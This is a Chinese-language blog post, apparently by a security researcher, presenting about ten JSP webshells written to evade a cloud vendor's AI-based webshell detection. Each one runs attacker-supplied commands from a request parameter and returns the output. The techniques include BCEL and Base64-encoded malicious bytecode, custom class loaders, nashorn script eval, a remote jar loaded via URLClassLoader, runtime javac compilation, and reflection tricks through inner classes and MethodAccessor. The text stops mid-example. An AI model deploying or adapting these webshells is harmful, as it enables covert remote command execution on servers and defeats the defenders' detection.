最近,我的朋友“老嗨”,他参加了一个某云举办的号称可能史上最强的使用了AI技术的Webshell检测系统挑战赛...因为我没什么时间去搞这个,所以,我把我珍藏多年,姿势比较多的JSP Webshell发给了老嗨,老嗨跟我说,全部bypass了,但最后的结果非常惨烈,有被抢了的,有的因为没适配windows导致降级的,也有因为裁判机使用了openjdk亦或者他根本不会java瞎配的classpath导致不能运行的,惨惨。

JSP Webshell本来局限就比较大,来来去去都是那些个函数方法,姿势也不算多,虽然引擎没更新,但是毕竟很多姿势都被抢了,所以后面的挑战会越来越难,不像PHP,被phper们简直刷爆,xm$l。

今天这篇文章主要是分享一下各种JSP执行命令的姿势,和描述一些存在静态检测机制的系统,如何以各种姿势去绕过,但其实认真看会发现,多数都runtime.exec、反射、字节码、反序列化、表达式执行等姿势,以及如何去回显,代码可能是随意写的,但是重点还是姿势(不同的核心class method),分享给大家。

一、使用BCEL字节码的JSP Webshell

BCEL字节码的JSP Webshell

String bcelCode = "$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$85U$5bW$hU$U$fe$86$ML$Y$a6$40$93r$d5$e2$8d$dap$ebh$eb$a5$96$8a6$I$V$N$X$81$82$Uo$93$c9$n$M$9d$cc$c4$c9$a4$82w$fd$N$fe$H_$adKC$97$b8$7c$f4$c1G$7f$86$bf$c1e$fd$ce$q$40b$c2$f2a$ce$99$b3$f7$9e$bd$bf$fd$ed$bd$cf$fc$f1$cf$_$bf$Bx$B$df$ea$Y$c6$8c$86$d7t$b4$c9$fdu$N$b7t$a41$x$977t$cca$5eG$3bn$ebP$f1$a6$5c$W$a4$e1$5bq$bc$z$f7L$tz$b1$a8aI$c72V$e2xG$c7$w$d6t$ac$e3$8e$5c6tl$e2$ddNl$e1n$i$db$3a$de$c3$fb$g$3eP$Q$LDIA$o$b3g$dd$b7L$d7$f2$f2$e6Z$Y8$5e$7eZA$c7M$c7s$c2$Z$F$7d$a9f$f5$d8$86$Cu$d6$cf$J$F$3d$Z$c7$TK$e5BV$E$ebV$d6$V$d2$9do$5b$ee$86$V8$f2$5c$T$aa$e1$ae$c3P$X2$eb$bb$81$Q$b9$e0$9aU$d8$U$d9$b5$5d$e1$ba$M$W$b3$L9$F$e7J$91$f7t$d9qs$oP0$d4$U$b8$a6$e2$X$dd$d9$f2$ce$8e$IDnUX$91$f1$60$d5$d8$f1$cdt$83$86$b6$aaK$88t$bf$WZ$f6$bdE$ab$YA$oW$g$3e$q$df$a4Z$81$3e$b7o$8bb$e8$f8$5eI$c3G$K$e2$a1_$8dH$c8$a9$b1V$fc$a8$F$cb$f1$U$f4$a7$b6$cf$a0$c7$K$f2L8$d9B$ad$a0$cb$f1$8a$e5$90Ga$V$c8$f0$J$f4$85S1$ad$da$b3$H$a1$acO$dbv$9a$fe$ec$88n$7d$cd$_$H$b6$98w$q$a9$D$cdd$5e$91$ae$M$5c$84E$f5$Z$f4$Ruk$aeHy$L$qU$9d$86$ac$B$h9$D$C$3b$g$f2$Gv$e1$c8$40$7br$b9g$c0$c5U$D$F$90$TE7$f0$bc$3c$3d$86$c7$d9$O$cd$m5$f8$G$8a$f8$98Uk$91$81$edZ$rV$n0PB$a8$a1l$e0$3e$3e1$b0$8f$D$N$9f$g$f8$M$9fk$f8$c2$c0$97$f8$8au$g$jM$cf$ceeFG5$7cm$e0$h$8c$u$e8$3d$cdz9$bb$t$ec$b0At$5c$d5$e4I$a2$cb$t$a5g$l$a6d$e9$ce$9f$9a$af$96$bd$d0$vH$de$f3$o$3c9$f45$b4DM$y$7bB$ec$L$5b$c1$e5V$TS$tZ$J$7c$5b$94J$d3$N$91jBv6$p$z$d4$b7$c7$c0q$b4$a6$G$ZL$b5T$c8$i$92$a7$aa$da$iHi$9c$fa$5c$s$9a$86$O$abX$U$k$a7n$ea$7f$d0$few$f2zNU$b3$b2RU$c4$d1k$c6$afuQ$D$3fu$w$7e$de$d7RA$c0$92$60Q$8a$ba$fbV$e98$f7$b1$b3$c15$b1$91l$nV$d0I$a1$e3V$_$n$96w$81U$92$qp$baR$dbiy$bcj$fb$F$b3T$f6L$3f$c8$9bV$d1$b2w$85$99$b5$85k$3a$5e$u$C$cfr$cd$a8$nw8q$e6$9d$d0q$9d$f0$80$ec$J$af$3a$8f$D$f4r$b7$e5$FQ$dft$H$a5P$QK$cc$_$87$f5$e3$beB$d3$W$f8$eb$c4$K$b4$a2$3c$b9$k$9e$e2$N$3f$cc_$85$c2$87$83$c55$c6$f7$8b$Y$e1$f5$ff$EO$7f$a2$83$ff$H$e0$f6$f8$n$94$p$b4m$j$o$b6x$Eu$eb$I$ed$5b$P$d11Q$81VA$fc$Q$9d$87$d0$97$a6$w$e8$da$ba$a1$fe$8e$c4$e4$90Z$81$918$c7e$f3$fbG$7f$8dOV$d0$fd3z$kD$B$9e$e4$3a$C$8dk7$7f9$3d0$I$e2$S$S0$91$c4$M$fa0$8f$7e$C$93$ff$af$u4$9e$c63$40$f46J$88$K$ed$a7i$ff$y$n$5e$a2$ee2R$f49I$f8c$d4$aa$Y$8fRi$7bD$a5$aaaB$c3$a4$86$v$NW$80$bf1$c8$T$c3$80f$K$9e$e3$c3$h$85$ab$cc$d4$e4$$Yh$l$ff$J$3d$3f$f0$a5$z$c2$d9$R$J$87$p$3cF$d5$a0$86$a7$T$d7$88$b0J$d3wD$a0r$bf$9e$e8$ad$e0$7c$oQA2Cj$$$fc$g_$9c$60$ea$7d$9b$93$eaC$f4$_$fd$88$81$g$87$89A2C$ba$M$f2R$c1$d0$83$93x$c3$8c$u$d9$e9$a2$df$E$r$83$8c$3c$c2$88$_3$a6$c40$5e$8d$83$X$f1$S$f7$$LQs$9d$b8$S$e4$e3$V$dc$a0$97$R$fa$98$s$T$b1$86DoF$R$5e$fd$X$cb$B$rU$g$I$A$A";

response.getOutputStream().write(String.valueOf(new ClassLoader().loadClass(bcelCode).getConstructor(String.class).newInstance(request.getParameter("threedr3am")).toString()).getBytes());

%>

上述使用了com.sun.org.apache.bcel.internal.util.ClassLoader直接加载BCEL格式的字节码,实现了bypass某云的Webshell的检测。

而BCEL字节码的生成,以及执行指令的恶意类如下:

import com.sun.org.apache.bcel.internal.classfile.Utility;

import java.io.BufferedReader;

import java.io.IOException;

import java.io.InputStream;

import java.io.InputStreamReader;

/**

* @author threedr3am

*/

public class Threedr3am {

String res;

public Threedr3am(String cmd) throws IOException {

StringBuilder stringBuilder = new StringBuilder();

BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream()));

String line;

while((line = bufferedReader.readLine()) != null) {

stringBuilder.append(line).append("\n");

}

res = stringBuilder.toString();

}

@Override

public String toString() {

return res;

}

public static void main(String[] args) throws IOException {

InputStream inputStream = Threedr3am_15.class.getClassLoader().getResourceAsStream("Threedr3am.class");

byte[] bytes = new byte[inputStream.available()];

inputStream.read(bytes);

String code = Utility.encode(bytes, true);

System.out.println("$$BCEL$$" + code);

}

}

因为BCEL生成的时候是不带前缀$$BCEL$$的,所以需要我们自己补充上。

这里有个trick就是,因为某云禁了invoke的调用,我这里override了toString方法,使用它进行对命令执行结果的带出,其实这样的绕过还有很多,比如throw异常、写文件、寄存到static field、设置到System property等等都是可以的,请继续看后面的webshell。

二、使用自定义类加载器的JSP Webshell

自定义类加载器的JSP Webshell

response.getOutputStream().write(new ClassLoader() {

@Override

public Class> loadClass(String name) throws ClassNotFoundException {

if (name.contains("Threedr3am_2")) {

return findClass(name);

}

return super.loadClass(name);

}

@Override

protected Class> findClass(String name) throws ClassNotFoundException {

try {

byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAiAoAGgA+BwA/CgACAD4HAEAHAEEKAEIAQwoAQgBECgBFAEYKAAUARwoABABICgAEAEkKAAIASggASwoAAgBMCQAQAE0HAE4KAE8AUAgAUQoAUgBTCgBUAFUKAFQAVgoAVwBYCgBZAFoJAFsAXAoAXQBeBwBfAQADcmVzAQASTGphdmEvbGFuZy9TdHJpbmc7AQAGPGluaXQ+AQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAA5MVGhyZWVkcjNhbV8yOwEAA2NtZAEADXN0cmluZ0J1aWxkZXIBABlMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAOYnVmZmVyZWRSZWFkZXIBABhMamF2YS9pby9CdWZmZXJlZFJlYWRlcjsBAARsaW5lAQANU3RhY2tNYXBUYWJsZQcATgcAYAcAPwcAQAEACkV4Y2VwdGlvbnMHAGEBAAh0b1N0cmluZwEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAC2lucHV0U3RyZWFtAQAVTGphdmEvaW8vSW5wdXRTdHJlYW07AQAFYnl0ZXMBAAJbQgEABGNvZGUBAApTb3VyY2VGaWxlAQARVGhyZWVkcjNhbV8yLmphdmEMAB0AYgEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyAQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgEAGWphdmEvaW8vSW5wdXRTdHJlYW1SZWFkZXIHAGMMAGQAZQwAZgBnBwBoDABpAGoMAB0AawwAHQBsDABtADIMAG4AbwEAAQoMADEAMgwAGwAcAQAMVGhyZWVkcjNhbV8yBwBwDABxAHIBABJUaHJlZWRyM2FtXzIuY2xhc3MHAHMMAHQAdQcAdgwAdwB4DAB5AHoHAHsMAHwAfwcAgAwAgQCCBwCDDACEAIUHAIYMAIcAHgEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL2xhbmcvU3RyaW5nAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAAygpVgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBABMoTGphdmEvaW8vUmVhZGVyOylWAQAIcmVhZExpbmUBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAA9qYXZhL2xhbmcvQ2xhc3MBAA5nZXRDbGFzc0xvYWRlcgEAGSgpTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsBABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIBABNnZXRSZXNvdXJjZUFzU3RyZWFtAQApKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9pby9JbnB1dFN0cmVhbTsBABNqYXZhL2lvL0lucHV0U3RyZWFtAQAJYXZhaWxhYmxlAQADKClJAQAEcmVhZAEABShbQilJAQAQamF2YS91dGlsL0Jhc2U2NAEACmdldEVuY29kZXIBAAdFbmNvZGVyAQAMSW5uZXJDbGFzc2VzAQAcKClMamF2YS91dGlsL0Jhc2U2NCRFbmNvZGVyOwEAGGphdmEvdXRpbC9CYXNlNjQkRW5jb2RlcgEADmVuY29kZVRvU3RyaW5nAQAWKFtCKUxqYXZhL2xhbmcvU3RyaW5nOwEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgAhABAAGgAAAAEAAAAbABwAAAADAAEAHQAeAAIAHwAAANIABgAFAAAARyq3AAG7AAJZtwADTbsABFm7AAVZuAAGK7YAB7YACLcACbcACk4ttgALWToExgASLBkEtgAMEg22AAxXp//qKiy2AA61AA+xAAAAAwAgAAAAHgAHAAAADgAEAA8ADAAQACUAEgAvABMAPgAVAEYAFgAhAAAANAAFAAAARwAiACMAAAAAAEcAJAAcAAEADAA7ACUAJgACACUAIgAnACgAAwAsABsAKQAcAAQAKgAAABsAAv8AJQAEBwArBwAsBwAtBwAuAAD8ABgHACwALwAAAAQAAQAwAAEAMQAyAAEAHwAAAC8AAQABAAAABSq0AA+wAAAAAgAgAAAABgABAAAAGgAhAAAADAABAAAABQAiACMAAAAJADMANAACAB8AAACEAAIABAAAACgSELYAERIStgATTCu2ABS8CE0rLLYAFVe4ABYstgAXTrIAGC22ABmxAAAAAgAgAAAAGgAGAAAAHgALAB8AEgAgABgAIQAgACIAJwAjACEAAAAqAAQAAAAoADUANgAAAAsAHQA3ADgAAQASABYAOQA6AAIAIAAIADsAHAADAC8AAAAEAAEAMAACADwAAAACAD0AfgAAAAoAAQBZAFcAfQAJ");

PermissionCollection pc = new Permissions();

pc.add(new AllPermission());

ProtectionDomain protectionDomain = new ProtectionDomain(new CodeSource(null, (Certificate[]) null), pc, this, null);

return this.defineClass(name, bytes, 0, bytes.length, protectionDomain);

} catch (Exception e) {

e.printStackTrace();

}

return super.findClass(name);

}

}.loadClass("Threedr3am_2").getConstructor(String.class).newInstance(request.getParameter("threedr3am")).toString().getBytes());

%>

这里的自定义类加载器,重写了loadClass、findClass方法,实现在使用类加载器加载类时,使用jsp中硬编码的恶意字节码。

字节码输出以及恶意类的编写如下:

import java.io.BufferedReader;

import java.io.IOException;

import java.io.InputStream;

import java.io.InputStreamReader;

import java.util.Base64;

/**

* @author threedr3am

*/

public class Threedr3am_2 {

String res;

public Threedr3am_2(String cmd) throws IOException {

StringBuilder stringBuilder = new StringBuilder();

BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream()));

String line;

while((line = bufferedReader.readLine()) != null) {

stringBuilder.append(line).append("\n");

}

res = stringBuilder.toString();

}

@Override

public String toString() {

return res;

}

public static void main(String[] args) throws IOException {

InputStream inputStream = Threedr3am_2.class.getClassLoader().getResourceAsStream("Threedr3am_2.class");

byte[] bytes = new byte[inputStream.available()];

inputStream.read(bytes);

String code = Base64.getEncoder().encodeToString(bytes);

System.out.println(code);

}

}

跟前面的一样,也是通过重写toString方法进行命令执行结果的带出,主要也是因为这种方式比较简易。

三、使用ScriptEngine.eval的JSP Webshell

ScriptEngine.eval的JSP Webshell

String s1 = "s=[3];s[0]='/bin/bash';s[1]='-c';s[2]='";

String s2 = request.getParameter("threedr3am");

String s3 = new String(Base64.getDecoder().decode("JztqYXZhLmxhbmcuUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYyhzKTs="));

Process process = (Process) new ScriptEngineManager().getEngineByName("nashorn").eval(s1 + s2 + s3);

InputStream inputStream = process.getInputStream();

StringBuilder stringBuilder = new StringBuilder();

BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));

String line;

while((line = bufferedReader.readLine()) != null) {

stringBuilder.append(line).append("\n");

}

if (stringBuilder.length() > 0) {

response.getOutputStream().write(stringBuilder.toString().getBytes());

}

%>

这个比较简单,就是使用了jdk自带的ScriptEngine执行脚本的方式进行执行命令。

四、使用URLClassLoader加载远程jar的JSP Webshell

URLClassLoader加载远程jar的JSP Webshell

response.getOutputStream().write(new URLClassLoader(new URL[]{new URL("http://127.0.0.1:80/threedr3am.jar")}).loadClass("Threedr3am_4").getConstructor(String.class).newInstance(String.valueOf(request.getParameter("threedr3am"))).toString().getBytes());

%>

这个jsp webshell使用了URLClassLoader加载远程恶意jar,在loadClass时触发恶意代码执行,这种方式的Webshell,如果遇到了限制出网的情况,可能就没用了。

import java.io.BufferedReader;

import java.io.IOException;

import java.io.InputStream;

import java.io.InputStreamReader;

import java.util.Base64;

/**

* @author threedr3am

*/

public class Threedr3am_4 {

String res;

public Threedr3am_4(String cmd) throws IOException {

StringBuilder stringBuilder = new StringBuilder();

BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream()));

String line;

while((line = bufferedReader.readLine()) != null) {

stringBuilder.append(line).append("\n");

}

res = stringBuilder.toString();

}

@Override

public String toString() {

return res;

}

}

五、使用javac动态编译class的JSP Webshell

javac动态编译class的JSP Webshell

String c = request.getParameter("threedr3am");

String tmpPath = Files.createTempDirectory("threedr3am").toFile().getPath();

JavaCompiler javaCompiler = ToolProvider.getSystemJavaCompiler();

DiagnosticCollector diagnostics = new DiagnosticCollector();

StandardJavaFileManager standardJavaFileManager = javaCompiler

.getStandardFileManager(diagnostics, Locale.CHINA, Charset.forName("utf-8"));

int id = new Random().nextInt(10000000);

StringBuilder stringBuilder = new StringBuilder()

.append("import java.io.BufferedReader;\n")

.append("import java.io.IOException;\n")

.append("import java.io.InputStream;\n")

.append("import java.io.InputStreamReader;\n")

.append("public class Threedr3am" + id + " {\n")

.append(" public static String result = \"\";\n")

.append(" public Threedr3am" + id + "() throws Throwable {\n")

.append(" StringBuilder stringBuilder = new StringBuilder();\n")

.append(" try {")

.append(" BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(\"" + c + "\").getInputStream()));\n")

.append(" String line;\n")

.append(" while((line = bufferedReader.readLine()) != null) {\n")

.append(" stringBuilder.append(line).append(\"\\n\");\n")

.append(" }\n")

.append(" result = stringBuilder.toString();\n")

.append(" } catch (Exception e) {\n")

.append(" e.printStackTrace();\n")

.append(" }\n")

.append(" throw new Throwable(stringBuilder.toString());")

.append(" }\n")

.append("}");

Files.write(Paths.get(tmpPath + File.separator + "Threedr3am" +id + ".java"), stringBuilder.toString().getBytes());

Iterable fileObject = standardJavaFileManager.getJavaFileObjects(tmpPath + File.separator + "Threedr3am" +id + ".java");

javaCompiler.getTask(null, standardJavaFileManager, diagnostics, null, null, fileObject).call();

try {

new URLClassLoader(new URL[]{new URL("file:" + tmpPath + File.separator)}).loadClass("Threedr3am" + id).newInstance();

} catch (Throwable e) {

response.getOutputStream().write(e.getMessage().getBytes());

}

%>

这是一个利用了jdk自带的javac进行动态编译class的jsp webshell,stringBuilder中的内容就是java源码内容,我们可以通过加密或编码的方式对其内容进行隐匿,避免被检测到,还有就是,这里使用了和前面不一样的方式去对命令执行结果的带出,具体是使用了field字段进行寄存,最后HTTP响应返回时从其中取出返回。

理论上这个马,也是有一点点小限制的,限制的点就在于ToolProvider.getSystemJavaCompiler,按照官方文档的说法,这个api主要是提供给桌面端使用的,也就是说,服务器端可能会获取不到编译器对象。

六、使用了jdk.nashorn.internal.runtime.ScriptLoader类加载器加载的JSP Webshell

jdk.nashorn.internal.runtime.ScriptLoader类加载器加载的JSP Webshell

Class c = Class.forName("jdk.nashorn.internal.runtime.ScriptLoader");

final Constructor constructor = c.getDeclaredConstructor(Context.class);

constructor.setAccessible(true);

final Method m = c.getDeclaredMethod("installClass", String.class, byte[].class, CodeSource.class);

m.setAccessible(true);

class A {

B b;

final class B {

private Object o;

private Object[] oo;

public B() throws IllegalAccessException, InvocationTargetException, InstantiationException {

o = constructor.newInstance(new Context(new Options(""), null, null));

oo = new Object[]{"Threedr3am_6", Base64.getDecoder().decode("yv66vgAAADQAiAoAGgA+BwA/CgACAD4HAEAHAEEKAEIAQwoAQgBECgBFAEYKAAUARwoABABICgAEAEkKAAIASggASwoAAgBMCQAQAE0HAE4KAE8AUAgAUQoAUgBTCgBUAFUKAFQAVgoAVwBYCgBZAFoJAFsAXAoAXQBeBwBfAQADcmVzAQASTGphdmEvbGFuZy9TdHJpbmc7AQAGPGluaXQ+AQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAA5MVGhyZWVkcjNhbV82OwEAA2NtZAEADXN0cmluZ0J1aWxkZXIBABlMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAOYnVmZmVyZWRSZWFkZXIBABhMamF2YS9pby9CdWZmZXJlZFJlYWRlcjsBAARsaW5lAQANU3RhY2tNYXBUYWJsZQcATgcAYAcAPwcAQAEACkV4Y2VwdGlvbnMHAGEBAAh0b1N0cmluZwEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAC2lucHV0U3RyZWFtAQAVTGphdmEvaW8vSW5wdXRTdHJlYW07AQAFYnl0ZXMBAAJbQgEABGNvZGUBAApTb3VyY2VGaWxlAQARVGhyZWVkcjNhbV82LmphdmEMAB0AYgEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyAQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgEAGWphdmEvaW8vSW5wdXRTdHJlYW1SZWFkZXIHAGMMAGQAZQwAZgBnBwBoDABpAGoMAB0AawwAHQBsDABtADIMAG4AbwEAAQoMADEAMgwAGwAcAQAMVGhyZWVkcjNhbV82BwBwDABxAHIBABJUaHJlZWRyM2FtXzYuY2xhc3MHAHMMAHQAdQcAdgwAdwB4DAB5AHoHAHsMAHwAfwcAgAwAgQCCBwCDDACEAIUHAIYMAIcAHgEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL2xhbmcvU3RyaW5nAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAAygpVgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBABMoTGphdmEvaW8vUmVhZGVyOylWAQAIcmVhZExpbmUBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAA9qYXZhL2xhbmcvQ2xhc3MBAA5nZXRDbGFzc0xvYWRlcgEAGSgpTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsBABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIBABNnZXRSZXNvdXJjZUFzU3RyZWFtAQApKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9pby9JbnB1dFN0cmVhbTsBABNqYXZhL2lvL0lucHV0U3RyZWFtAQAJYXZhaWxhYmxlAQADKClJAQAEcmVhZAEABShbQilJAQAQamF2YS91dGlsL0Jhc2U2NAEACmdldEVuY29kZXIBAAdFbmNvZGVyAQAMSW5uZXJDbGFzc2VzAQAcKClMamF2YS91dGlsL0Jhc2U2NCRFbmNvZGVyOwEAGGphdmEvdXRpbC9CYXNlNjQkRW5jb2RlcgEADmVuY29kZVRvU3RyaW5nAQAWKFtCKUxqYXZhL2xhbmcvU3RyaW5nOwEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgAhABAAGgAAAAEAAAAbABwAAAADAAEAHQAeAAIAHwAAANIABgAFAAAARyq3AAG7AAJZtwADTbsABFm7AAVZuAAGK7YAB7YACLcACbcACk4ttgALWToExgASLBkEtgAMEg22AAxXp//qKiy2AA61AA+xAAAAAwAgAAAAHgAHAAAADgAEAA8ADAAQACUAEgAvABMAPgAVAEYAFgAhAAAANAAFAAAARwAiACMAAAAAAEcAJAAcAAEADAA7ACUAJgACACUAIgAnACgAAwAsABsAKQAcAAQAKgAAABsAAv8AJQAEBwArBwAsBwAtBwAuAAD8ABgHACwALwAAAAQAAQAwAAEAMQAyAAEAHwAAAC8AAQABAAAABSq0AA+wAAAAAgAgAAAABgABAAAAGgAhAAAADAABAAAABQAiACMAAAAJADMANAACAB8AAACEAAIABAAAACgSELYAERIStgATTCu2ABS8CE0rLLYAFVe4ABYstgAXTrIAGC22ABmxAAAAAgAgAAAAGgAGAAAAHgALAB8AEgAgABgAIQAgACIAJwAjACEAAAAqAAQAAAAoADUANgAAAAsAHQA3ADgAAQASABYAOQA6AAIAIAAIADsAHAADAC8AAAAEAAEAMAACADwAAAACAD0AfgAAAAoAAQBZAFcAfQAJ"), new CodeSource(null, (Certificate[]) null)};

}

}

public A() throws IllegalAccessException, InstantiationException, InvocationTargetException {

b = new B();

}

public Class invokex(Method method)

throws InvocationTargetException, IllegalAccessException {

return (Class) MethodUtil.invoke(method, b.o, b.oo);

}

}

Class target = new A().invokex(m);

response.getOutputStream().write(target.getConstructor(String.class).newInstance(request.getParameter("threedr3am")).toString().getBytes());

%>

这个马和前面的自定义类加载器没什么大区别,但是是使用了jdk.nashorn.internal.runtime.ScriptLoader,这种情况只是想展示不一样的姿势,最主要的是,如果某些类加载器被禁用了,就可以使用这个特殊的类加载器去加载字节码执行,不过其实还是需要调用invoke进行加载的,而某云的检测还是会检测到的,但是这里使用了多层的内部类形式,成功的绕过了某云的检测,invoke的绕过不是重点,重点的是想说一下有这样的一个类加载器。

import java.io.BufferedReader;

import java.io.IOException;

import java.io.InputStream;

import java.io.InputStreamReader;

import java.util.Base64;

/**

* @author threedr3am

*/

public class Threedr3am_6 {

String res;

public Threedr3am_6(String cmd) throws IOException {

StringBuilder stringBuilder = new StringBuilder();

BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream()));

String line;

while((line = bufferedReader.readLine()) != null) {

stringBuilder.append(line).append("\n");

}

res = stringBuilder.toString();

}

@Override

public String toString() {

return res;

}

public static void main(String[] args) throws IOException {

InputStream inputStream = Threedr3am_6.class.getClassLoader().getResourceAsStream("Threedr3am_6.class");

byte[] bytes = new byte[inputStream.available()];

inputStream.read(bytes);

String code = Base64.getEncoder().encodeToString(bytes);

System.out.println(code);

}

}

七、使用内部类绕某云检测java.lang.ProcessImpl以及invoke的一个JSP Webshell

java.lang.ProcessImpl JSP Webshell

try {

final String s = request.getParameter("threedr3am");

class A {

B b;

final class B {

private Method o;

private Object oo;

private Object[] ooo;

public B() throws ClassNotFoundException, NoSuchMethodException {

Class clz = Class.forName("java.lang.ProcessImpl");

Method method = clz

.getDeclaredMethod("start", String[].class, Map.class, String.class,

ProcessBuilder.Redirect[].class, boolean.class);

method.setAccessible(true);

o = method;

oo = clz;

ooo = new Object[]{s.split(" "), null, null, null, false};

}

}

public A() throws ClassNotFoundException, NoSuchMethodException {

b = new B();

}

public Object invokex()

throws InvocationTargetException, IllegalAccessException {

return MethodUtil.invoke(b.o, b.oo, b.ooo);

}

}

Process process = (Process) new A().invokex();

InputStream inputStream = process.getInputStream();

StringBuilder stringBuilder = new StringBuilder();

BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));

String line;

while ((line = bufferedReader.readLine()) != null) {

stringBuilder.append(line).append("\n");

}

if (stringBuilder.length() > 0) {

response.getOutputStream().write(stringBuilder.toString().getBytes());

}

} catch (Exception e) {

e.printStackTrace();

}

%>

八、使用内部类绕某云检测java.lang.ProcessBuilder以及invoke的JSP Webshell

java.lang.ProcessBuilder JSP Webshell

try {

final String cmd = request.getParameter("threedr3am");

class Threedr3am_8 {

Threedr3amX threedr3amX;

class Threedr3amX {

private Process process;

public Threedr3amX() throws IOException {

process = new ProcessBuilder().command(cmd.split(" ")).start();

}

}

public Threedr3am_8() throws IOException {

threedr3amX = new Threedr3amX();

}

public String echo() throws IOException {

Process process = threedr3amX.process;

InputStream inputStream = process.getInputStream();

StringBuilder stringBuilder = new StringBuilder();

BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));

String line;

while ((line = bufferedReader.readLine()) != null) {

stringBuilder.append(line).append("\n");

}

return stringBuilder.toString();

}

}

response.getOutputStream().write(new Threedr3am_8().echo().getBytes());

} catch (Exception e) {

e.printStackTrace();

}

%>

九、利用MethodAccessor.invoke绕过检测Method.invoke的JSP Webshell

MethodAccessor.invoke绕过检测Method.invoke的JSP Webshell

public static class Threedr3am_9 {

public static final Class clz = Class.forName("java.lang.ProcessImpl");

public static Object[] ooo;

}

%>

String s = request.getParameter("threedr3am");

Threedr3am_9.ooo = new Object[]{s.split(" "), null, null, null, false};

Method method = Threedr3am_9.clz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);

method.setAccessible(true);

ReflectionFactory reflectionFactory = AccessController.doPrivileged(new sun.reflect.ReflectionFactory.GetReflectionFactoryAction());

MethodAccessor methodAccessor = reflectionFactory.newMethodAccessor(method);

Process process = (Process) methodAccessor.invoke(null, null);

InputStream inputStream = process.getInputStream();

StringBuilder stringBuilder = new StringBuilder();

BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));

String line;

while ((line = bufferedReader.readLine()) != null) {

stringBuilder.append(line).append("\n");

}

if (stringBuilder.length() > 0) {

response.getOutputStream().write(stringBuilder.toString().getBytes());

}

%>

如果遇到了禁用Method.invoke的情况,我们还能使用MethodAccessor.invoke进行反射调用方法。

十、使用了SPI机制的ScriptEngineManager自动加载实例化JSP Webshell

SPI机制的ScriptEngineManager自动加载实例化JSP Webshell

String tmp = System.getProperty("java.io.tmpdir");

Random random = new Random();

String jarPath = tmp + File.separator + "cve-" + random.nextInt(1000000) + ".jar";

String inputFile = tmp + File.separator + "jabdhjabdjkandaldlanaklndkand.txt";

String s = request.getParameter("threedr3am");

if (Files.exists(Paths.get(inputFile)))

Files.delete(Paths.get(inputFile));

Files.write(Paths.get(inputFile), s.getBytes());

if (Files.exists(Paths.get(jarPath)))

Files.delete(Paths.get(jarPath));

